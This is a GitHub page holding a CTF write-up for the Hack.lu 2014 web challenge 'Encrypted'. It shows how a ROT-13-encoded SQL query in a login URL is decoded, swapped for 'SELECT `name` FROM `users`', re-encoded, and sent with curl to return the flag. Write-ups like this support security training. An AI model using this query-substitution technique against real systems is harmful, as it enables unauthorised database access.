


This repository | Search

Pull requests | Issues | Gist



ctfs / write-ups-2014

Watch

219

Star

1,279

Fork

457

Code

Issues15

Pull requests0

Projects0

Pulse

Graphs

Branch: master


write-ups-2014 / hack-lu-ctf-2014 / encrypted /

Create new file

Upload files


Find file

History

 mathiasbynens Hack.lu CTF 2014: add exploits by @\_cutz


Latest commit 32f3bfa on Oct 23 2014

..

 README.md


Hack.lu CTF 2014: add exploits by @\_cutz

3 years ago

 thejh\_exploit.sh

Hack.lu CTF 2014: add exploits for @TheJH's challenges

3 years ago

 README.md

# Hack.lu CTF 2014: Encrypted

Category: Web Points: 50 Author: TheJH Description:

Legend says there is a bank vault in Jamestown which cannot be broken into. The only way inside is through an authentication process. Even Jesse James and his companions failed to break the security of this particular bank. Can you do it?

<https://wildwildweb.fluxfingers.net:1411/>

## Write-up

The website at <https://wildwildweb.fluxfingers.net:1411/> displays a simple login form. Entering `a` as the username and `b` as the password results in the following URL:

```
https://wildwildweb.fluxfingers.net:1411/dologin.php?dhre1=FRYRPG+%60anzr%60+SEBZ+%60href%60+JURER+%60anzr%60
```

This presents an error message saying “bad password”.

That `dhre1` query string parameter value [URL-decodes into the following](#):

```
FRYRPG `anzr` SEBZ `href` JURER `anzr` = 'n' NAQ `cnffjbeq` = ZQ5('o')
```

This is a ROT-13-encoded SQL query. Let’s decode it using `rot` :

```
$ rot -n 13 'FRYRPG `anzr` SEBZ `href` JURER `anzr` = 'n' NAQ `cnffjbeq` = ZQ5('o')'
SELECT `name` FROM `users` WHERE `name` = a AND `password` = MD5(b)
```

Since we don’t know any username or password, let’s simplify this query a little bit:

```
SELECT `name` FROM `users`
```

This ROT-13-encodes into:

```
$ rot -n 13 'SELECT `name` FROM `users`'
FRYRPG `anzr` SEBZ `href`
```

After URL-encoding, [this becomes](#):

```
FRYRPG%20%60anzr%60%20SEBZ%20%60href%60
```

```
$ curl 'https://wildwildweb.fluxfingers.net:1411/dologin.php?dhrel=FRYRPG%20%60anzr%60%20SEBZ%20%60href%60'

<!DOCTYPE html>
<html>
  <head>
    <title>Encrypted Login</title>
  </head>
  <body>
    <h1>Encrypted Login</h1>
Hello admin! The flag is flag{nobody_needs_server_side_validation}. </body>
</html>
```

## Other write-ups and resources

- © 2017 GitHub, Inc. [Terms](#) [Privacy](#) [Security](#) [Status](#) [Help](#)



[Contact GitHub](#) [API](#) [Training](#) [Shop](#) [Blog](#) [About](#)